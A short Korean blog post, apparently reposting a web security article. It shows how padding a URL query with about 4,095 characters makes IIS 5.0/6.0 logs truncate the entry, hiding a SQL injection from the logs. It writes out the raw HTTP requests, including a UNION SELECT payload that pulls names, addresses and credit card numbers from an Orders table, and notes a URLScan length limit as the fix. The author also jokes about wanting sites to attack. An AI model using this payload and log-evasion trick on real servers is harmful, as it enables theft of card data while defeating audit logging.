요즘 해킹의 화두는 바로 SQL에 있다. 예전에는 OS 자체에 대해 연구를 해서 버그/익스플로잇을 찾아 내어 작업하곤 했다.

하지만, 어느 때부터인가 Php부터 해서 asp에 이르기 까지 웹 서비스의 취약점에 대해 논의가 이루어지고,

드뎌 지금에서는 SQL과 같은 서비스들이 수난을 당하고 있다.

우리의 멋장이 종량씨가 SQL Injection에 대한 자료를 분석했지만,

아쉽게도 IIS 로그에 그러한 작업을 남기지 않게 하는 방법이 있어 소개한다.

대부분 이 글을 보면 아항~ 하고 알 수 있을 것이다.

telnet을 이용하여 서버를 웹브라우저가 아닌 텍스트로 덤벼보자.

Normal Request
GET /?id=80
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer

로그파일을 보면.
2005-08-10 16:35:32 172.16.10.3 - 172.16.10.111 80 GET /Default.asp id=80 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

거의 대충 보면 알수 있다. 걍 홈페이지 연거다.

문제는 /?id=80 여기 부분에 있다. 여기에다가 노가다작업을 함 해보자.

GET /?id=<알파벳 A를 4095번 입력>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer

Logged Response (IIS 5.0 with default logging)
2005-08-10 17:21:29 172.16.10.3 - 172.16.10.111 80 GET /Default.asp ... 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

Logged Response (IIS 6.0 with default logging)
2005-08-10 17:09:54 172.16.10.116 GET /Default.asp ... 80 - 172.16.10.3 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 200 0 0

그렇다. 바로 압축 아니 함축의 의미인 ... 으로 변신한다.

4096바이트의 버퍼를 초과하게 되면, 로그 기능도 초과(?)한다.

그러면 어떻게 SQL Injection 공격을 할까 ?

당연히 다음과 같이 한다. 그러면 로그에는 아무것두 없다.

GET /?test=<알파벳 A를 4095번 입력>&id=1'+UNION+ALL+SELECT+Names,Address,OrderId,CreditCard+FROM+Orders+where+'1'='1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

그렇다면, 이를 막는 방법은 뭘까? 우리가 애용하는 URLScan을 통해

버퍼의 크기를 제한하여 막을 수 있다.

MaxQueryString=2048

다 알테구... 흠. 할말 없다.


누가 좋은 사이트좀 갈쳐줘여. 나도 함 공격좀 해보게.

그럼.

참고사이트 : http://www.webappsec.org/projects/articles/082905.shtml
2009/09/30 21:37 2009/09/30 21:37

Trackback Address :: https://youngsam.net/trackback/951